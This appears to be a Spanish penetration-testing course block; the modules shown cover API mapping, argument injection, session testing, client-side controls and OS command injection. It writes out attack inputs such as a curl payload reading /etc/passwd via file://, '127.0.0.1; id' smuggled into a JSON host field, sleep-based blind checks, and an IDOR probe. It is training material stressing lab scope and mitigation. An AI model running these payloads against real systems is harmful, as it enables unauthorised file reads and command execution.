

Bloque 03_seguridad_web

Índice de módulos

- Modelo de pruebas de API
- Inyeccion de argumentos (no es command injection)
- Autenticacion y sesiones en APIs
- Controles client-side y validacion del servidor
- Command Injection (inyeccion de comandos de SO)
- Enumeracion web con respuestas comodin (wildcard)
- Subida de ficheros a shell
- Seguridad de GraphQL
- IDOR / Broken Object Level Authorization (BOLA)
- Seguridad de JWT
- Local File Inclusion (LFI)
- De LFI a ejecucion (RCE)
- Bypass de OTP/MFA por manipulacion de parametros
- OAuth, OIDC y CORS
- Inyeccion SQL (SQLi)
- Server-Side Request Forgery (SSRF)
- Server-Side Template Injection (SSTI)
- Atacar WordPress
- Cross-Site Scripting (XSS)
- XML External Entity (XXE)

Modelo de pruebas de API

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Una API expone contratos HTTP que deben probarse por recurso, método, entrada y contexto de identidad.

Un inventario incompleto hace que se pierdan endpoints administrativos, versiones antiguas o métodos menos visibles.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando la aplicación usa JSON, rutas /api, documentación OpenAPI, GraphQL o clientes SPA.

Cómo identificarla

- rutas /api
- respuestas JSON
- OpenAPI/Swagger
- versiones v1/v2

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Identifica al menos un endpoint funcional, su método, parámetros y una respuesta reproducible.

Evidencia esperada: Dispones de un mapa de recursos y de una lista priorizada para probar autenticación y autorización.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.

5. Aplica una sola adaptación cuando haya evidencia de restricción.

6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS $URL/swagger.json
```

Objetivo y contexto: Busca un contrato OpenAPI publicado.

Resultado esperado: Listado de rutas, metodos y esquemas.

Capa 2: prueba documentada

```
curl -sS -i -X OPTIONS "$URL/api/resource"
```

Objetivo y contexto: Comprueba metodos aceptados por un recurso.

Resultado esperado: Cabeceras Allow y respuesta del endpoint.

Anatomía de los payloads

La primera prueba es `curl -sS $URL/swagger.json`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Dispones de un mapa de recursos y de una lista priorizada para probar autenticacion y autorizacion.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Descubre rutas y metodos.
- Repite peticiones con entradas controladas.
- Anota diferencias de estado y permisos.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No aporta mucho si solo existe una pagina estatica sin peticiones de datos ni autenticacion.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Mapear endpoints, metodos, parametros y respuestas antes de intentar explotar una API. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(api-testing-model\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Inyeccion de argumentos (no es command injection)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Ocurre cuando la app pasa tu entrada como ARGUMENTO a un binario que ya ejecuta (curl una URL, tar un fichero, ImageMagick una imagen), sin escaparla. No hay un shell que interprete ';': lo que abusas son las CAPACIDADES de esa herramienta. Con curl, por ejemplo, puedes colar una segunda URL o el esquema file:// para leer ficheros locales; con tar, flags como --checkpoint-action para ejecutar código.

El programador valida superficialmente 'la URL' o 'el fichero' pero construye la invocación concatenando tu texto en la línea de argumentos. La herramienta hace exactamente lo que le pides: curl acepta varias URLs y el esquema local file://, así que una entrada como 'http://ok file:///etc/passwd' se convierte en dos descargas.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                  -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando la salida delata que el backend envuelve una herramienta (aparece un medidor de progreso de curl, cabeceras, mensajes de wget/tar) y un ';id' NO ejecuta un segundo comando. Es la diferencia clave: si ';whoami' no corre pero un file:// o un flag si cambian el resultado, es argument injection, no command-injection.

Cómo identificarla

- La salida incluye trazas de una herramienta concreta (barra de progreso de curl, 'Resolving host...' de wget).
- Los separadores de shell no ejecutan comandos, pero cambiar la URL/fichero si altera el resultado.
- La función es de tipo 'importar/descargar/convertir desde una URL o fichero'.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Añade un segundo destino o un esquema local a la entrada (p.ej. una URL seguida de file:///etc/passwd) y observa si aparece contenido que la herramienta no debería traer.

Evidencia esperada: El contenido de un fichero local (raíz de /etc/passwd) o el efecto de un flag inyectado aparece en la respuesta, sin que exista un shell de por medio.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

`http://127.7 file:///etc/passwd`

Objetivo y contexto: curl acepta varias URLs en una invocación; el espacio separa un segundo argumento y `file://` es un esquema local. La primera URL supera la validación superficial y la segunda lee el fichero.

Resultado esperado: El contenido de `/etc/passwd` en la respuesta. Confirma inyección de argumentos/URL en curl (no command injection): la lectura ocurre por el esquema `file://`, no por un shell.

Anatomía de los payloads

La primera prueba es `http://127.7 file:///etc/passwd`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

El contenido de un fichero local (raíz de `/etc/passwd`) o el efecto de un flag inyectado aparece en la respuesta, sin que exista un shell de por medio.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Identifica la herramienta por su salida (curl, wget, tar, convert, ffmpeg...).
- Descarta command injection: prueba `'id'` o `'&& id'`; si no ejecuta, no es un shell.
- Abusa de las capacidades del binario: con curl, una segunda URL y el esquema `file://` para leer ficheros; con tar/zip, flags que ejecutan hooks.
- Encadenalo con ssrf si primero hay que superar un filtro de URL para llegar a la invocación.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- La app usa una librería nativa (libcurl con parámetros separados, no la CLI) y no concatena una línea de argumentos.

- Un separador de shell (;, &&, |) SI ejecuta un segundo comando: entonces es command injection clasica, no inyeccion de argumentos.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

El backend ejecuta una herramienta (curl, wget, tar, convert) con tu entrada como argumento; no metes un comando nuevo, sino flags o una segunda URL/fichero que cambian lo que hace. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y preconditiones.

2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (argument-injection)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Autenticacion y sesiones en APIs

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

La autenticacion demuestra quien eres; la sesion conserva ese contexto entre peticiones.

Errores de expiracion, cookies o validacion de tokens pueden convertir una cuenta limitada en acceso persistente.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando ves endpoints de login, refresh, logout, cookies de sesion o cabeceras Bearer.

Cómo identificarla

- Set-Cookie
- Authorization: Bearer
- refresh_token
- 401/403

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Obtienes una peticion autenticada y compruebas que el mismo recurso cambia sin ese contexto.

Evidencia esperada: Sabes que material autentica la sesion, cuanto dura y como se invalida.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.

6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS "$URL/api/me" -H "Authorization: Bearer $TOKEN"
```

Objetivo y contexto: Verifica el contexto de identidad actual.

Resultado esperado: Perfil o respuesta autenticada.

Capa 2: prueba documentada

```
curl -sS -i "$URL/api/me"
```

Objetivo y contexto: Compara el endpoint sin credenciales.

Resultado esperado: 401/403 o respuesta publica.

Anatomía de los payloads

La primera prueba es `curl -sS "$URL/api/me" -H "Authorization: Bearer $TOKEN"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Sabes que material autentica la sesion, cuanto dura y como se invalida.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Captura el flujo de login.
- Repite con y sin token.
- Comprueba expiracion y logout.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No lo priorices si el objetivo no tiene estado ni ningun mecanismo de identidad.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Entender login, cookies, tokens, expiracion y cambios de contexto durante una prueba. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (auth-session-security)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Controles client-side y validacion del servidor

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

JavaScript, campos hidden, botones deshabilitados, validaciones HTML y datos almacenados en el navegador mejoran la interfaz, pero el cliente controla la petición final. El servidor debe repetir validación, autenticación y autorización sobre cada operación.

Burp o curl permiten omitir la interfaz y cambiar parámetros, métodos, cookies y cuerpos. Si el backend confía en `role=admin`, `price`, `user_id` o una comprobación hecha solo en JavaScript, el control se puede saltar.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando la interfaz oculta acciones, limita valores o decide permisos antes de enviar una petición al backend.

Cómo identificarla

- hidden
- disabled
- localStorage
- role
- price
- user_id
- Validación JavaScript

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Captura una petición válida, cambia una sola propiedad controlada por el cliente y compara la respuesta con otra cuenta o rol.

Evidencia esperada: Evidencia reproducible de que el servidor acepta o rechaza correctamente el cambio, separada del comportamiento visual del navegador.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -i "$URL/profile?user_id=1001" -H "Cookie: session=$COOKIE"
```

Objetivo y contexto: Reproduce directamente una petición autenticada para comprobar si el servidor valida la propiedad del recurso.

Resultado esperado: Un 403 confirma control; datos de otra cuenta confirman un fallo de autorización.

Anatomía de los payloads

La primera prueba es `curl -i "$URL/profile?user_id=1001" -H "Cookie: session=$COOKIE"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Evidencia reproducible de que el servidor acepta o rechaza correctamente el cambio, separada del comportamiento visual del navegador.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Observa la petición real.
- Identifica el dato que impone la UI.
- Repite en Repeater.
- Cambia solo ese dato.
- Compara por cuenta, status y cuerpo.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- Cambiar la interfaz sin conseguir una respuesta distinta del servidor no demuestra impacto.
- Un 403 consistente al repetir la petición indica que el backend si aplica el control.

- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Todo valor controlado por el navegador puede modificarse; la seguridad real debe imponerse en el servidor. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y preconditiones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.

4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(client-side-controls\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Command Injection (inyeccion de comandos de SO)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Ocurre cuando la app construye un comando del sistema operativo concatenando tu entrada (por ejemplo, para hacer ping a una IP que tu escribes) y lo ejecuta con `system()/exec()/popen()`. Como el shell no distingue 'el argumento que espera la app' de 'un comando nuevo', separadores como `;` `&&` `|` permiten añadir tu propio comando a continuación.

El programador confía en que el campo (host, IP, nombre de fichero) solo contendrá ese dato, sin validar ni escapar los caracteres especiales de shell. Misma causa raíz que `sqli` y `ssti`: mezclar dato de usuario con una instrucción que el sistema interpreta.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                    -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En funciones que 'suenan a' llamar herramientas del sistema: ping, traceroute, nslookup, convertir un fichero, hacer backup, comprobar disponibilidad de un host. Parámetros típicos: host, ip, domain, filename, target.

Cómo identificarla

- Un parámetro que hace de host/IP/dominio para una operación de red (ping, traceroute, whois).
- Un campo de nombre de fichero usado para convertir, comprimir o procesar con una herramienta externa.
- La respuesta tarda más de lo esperado al añadir `'&& sleep 5'` (señal de ejecución incluso sin salida visible).

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Añade un comando inocuo tras un separador de shell: `127.0.0.1; id` (o `&& id`, `| id` según el shell) en el campo sospechoso.

Evidencia esperada: La salida de `id` (`uid=...` `gid=...`) aparece mezclada con la respuesta normal de la app. Eso confirma ejecución real, no solo un error.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS -X POST "$URL/api/ping" -H 'Content-Type: application/json' -d '{"host":"127.0.0.1; id"}'
```

Objetivo y contexto: Prueba de confirmación inocua: si 'host' llega a un ping del sistema, el ; encadena tu comando id sin romper el ping original.

Resultado esperado: La salida de id (uid=www-data...) mezclada en la respuesta confirma ejecución. El usuario que veas es con el que tendrás shell tras escalar.

Anatomía de los payloads

La primera prueba es `curl -sS -X POST "$URL/api/ping" -H 'Content-Type: application/json' -d '{"host":"127.0.0.1; id"}'`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

La salida de id (uid=... gid=...) aparece mezclada con la respuesta normal de la app. Eso confirma ejecución real, no solo un error.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Identifica el campo que sospechas que llega a una llamada de sistema.
- Confirma con un comando inocuo primero (id/whoami/hostname); si no ves output, usa sleep/ping hacia tu máquina para confirmar a ciegas.
- Si hay una blacklist parcial, revisa filtros-incompletos y como normaliza la entrada antes de ejecutar.
- Si la salida ya es visible, prioriza una lectura acotada de configuración o una credencial reutilizable; solo pasa a reverse-vs-bind si una shell aporta algo.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- La app usa una llamada de sistema PARAMETRIZADA (pasa argumentos como lista, no como string concatenado) o una librería nativa en vez de invocar el binario del SO.

- El campo se valida contra un formato estricto (solo dígitos para un ID, regex de IP válida) antes de usarse.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Un parametro llega sin filtrar a una llamada al sistema operativo (ping, convert, backup); añades un separador de shell y ejecutas lo tuyo. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.

3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(command-injection\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

